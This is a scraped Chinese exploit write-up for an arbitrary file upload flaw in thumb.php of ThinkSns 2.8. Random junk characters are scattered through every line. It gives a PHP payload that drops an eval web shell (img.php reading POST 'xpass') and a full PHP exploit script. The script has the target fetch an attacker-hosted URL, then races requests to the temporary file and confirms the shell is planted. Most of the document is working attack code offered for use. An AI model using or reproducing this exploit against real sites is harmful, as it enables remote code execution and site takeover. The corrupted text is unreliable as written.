漏洞版本0 a; [; ^# [: a P
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ k+ R" l0 \/ D* L漏洞文件 e$ [5 H* g" j$ S$ _: k) w# _
存在漏洞的文件为:thumb.php
9 m1 a' K5 T; O2 j1 G' U( A作者:韦鲲鹏
, c2 k$ c; K8 h. c. O! L. _! T1、 准备如下PHP文件并上传到服务器(自己的)。) w6 c3 c/ A A$ e
文件内容如下:; j4 T& u. d8 |! s# f
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2 Z1 D# M6 s0 Z" x: [2、 计算出临时的文件名:
' D3 l1 Q9 W' @0 e' ^) o$ d2 P这里我们可以看文件的99行(刚刚是不是没注意呀!)。! `8 \7 L+ I1 D" \; `. `
7 B7 I: Z2 e2 f) A3、 上传临时文件。2 e* F' _" p: i C2 Z
4、 访问临时文件。
. L6 K9 H' S( l* z! k& N6 a但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
- O4 L, C) ^) r! l9 W( L7 q% \ {Exploit文件内容如下:(这个我就不详细解释了)) m/ w* a& V; B7 s3 d
<?php) l( W }/ S5 l8 ]/ f
error_reporting(0);
( q9 ^+ |4 m# z" |$ [set_time_limit(0);
3 F0 K* L/ v( i/ J7 U& Q/ N4 }( Tini_set(“default_socket_timeout”, 5);
& h4 U3 z3 k3 w9 g5 ofunction http_send($host, $port, $headers) {- y; x9 g. N0 R2 A3 `7 n
$fp = fsockopen($host, $port);
( D3 O+ S, v% \7 a4 L. p6 ?4 zif (!$fp) die(‘Connection -> fail’);
, ]6 K2 C9 z% {9 |# h2 s/ ?2 |1 Ffputs($fp, $headers);( u2 m* X' o1 o5 G6 p9 d8 v
return $fp;
+ C' b5 O o3 w" ~# I4 z, \) F/ K2 ~}% @. q' ^1 O- I
function http_recv($fp) {" V* i2 s4 F- v: m0 e+ S4 r* ^6 N: n
$ret=”";5 C' H) V( I) H
while (!feof($fp))8 C4 T5 Y! y" L0 { A# ~
$ret.= fgets($fp, 1024);
4 k2 c* H" [3 ~% E% _* [; zfclose($fp);
7 B4 v* R! {% Vreturn $ret;$ ~ U6 T) d8 e, h
}
* T0 _7 X6 ]0 M, B/ i- jprint “\n# ThinkSns Arbitrary File Upload #\n”;# t. s7 K( m3 |/ [# n/ q
print “# Discovered by 韦鲲鹏 #\n\n”;
( \' ^" U0 c# g" hif ($argc < 4) {2 j* N* g7 M/ f0 W
print “Usage: php <host> <path> <romote_url>\n”;
" }- b1 j; \' ~3 |; X3 P7 G& Aprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;' e$ R8 Z" F. M6 e
die();' M0 V/ y+ u; K/ \3 A' `
}' H$ f7 i/ }1 V
$host = $argv[1];
0 o) D( V! Z) ]: l: T$path = $argv[2];
; B- x( T" S9 Y% H4 ]! g, t$url = $argv[3];
: {( t' ~) S' d$i=0;
, I# `4 e+ E3 a, A: M, _4 e//上传数据包
. a* J3 s5 d! B- C$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
: e& D" O7 t. p9 ~$headers_up .= “Host: “.$host.”\r\n”;
6 _0 i+ b* j/ @+ ]# H0 D4 H! T$headers_up .= “Connection: close\r\n\r\n”;
# T1 Q8 u. C3 I+ l, f) a9 Hecho $headers_up;( o* A7 }8 W$ l$ S+ j% x
//临时文件访问数据包
) S- [# j% i- e' T. I$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& N, { E3 q! v1 o. |$headers .= “Host: “.$host.”\r\n”;1 m+ |' `5 C- R7 }; u# S
$headers .= “Connection: close\r\n\r\n”;
, j D% i, v+ g/ M' u& s) s/ [echo $headers;( d0 L* o# {3 m
while(++$i<10) {
' I6 J) [7 S+ M" \; ^fclose(http_send($host, 80, $headers));0 L! @2 J* j9 h* K; p
}; _+ V& Y' r5 p, o( K# z T/ T
fclose(http_send($host, 80, $headers_up));3 C! d. m! R) M
while(++$i<50) {9 x3 a+ t/ k& G Q! P3 Z
fclose(http_send($host, 80, $headers));
+ e9 W; x+ d! _2 V' J}
' v* ]8 Y H! Q, I1 z! T$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
* J. v1 n! Z J( i$ t$headers .= “Host: “.$host.”\r\n”;0 R6 d/ ?3 p. F# J
$headers .= “Connection: close\r\n\r\n”;
' ?1 G" r8 b3 Q3 I9 _4 ?9 s$res=http_recv(http_send($host, 80, $headers));8 I1 \) D$ K# p' C
if(preg_match(‘/200 OK/’,$res)) {
: R4 b2 ^9 `* {print “Success!\n\n”;
2 t3 p4 W8 _! {1 ]& m5 T/ U0 M} else {
2 G9 @9 b H' _" cprint “Fail!\n\n”;
5 l8 V& Z* }( _+ a}' h2 @& H# h, ^( J
?>' V% K9 Q" j) d- X% Y" s% j
|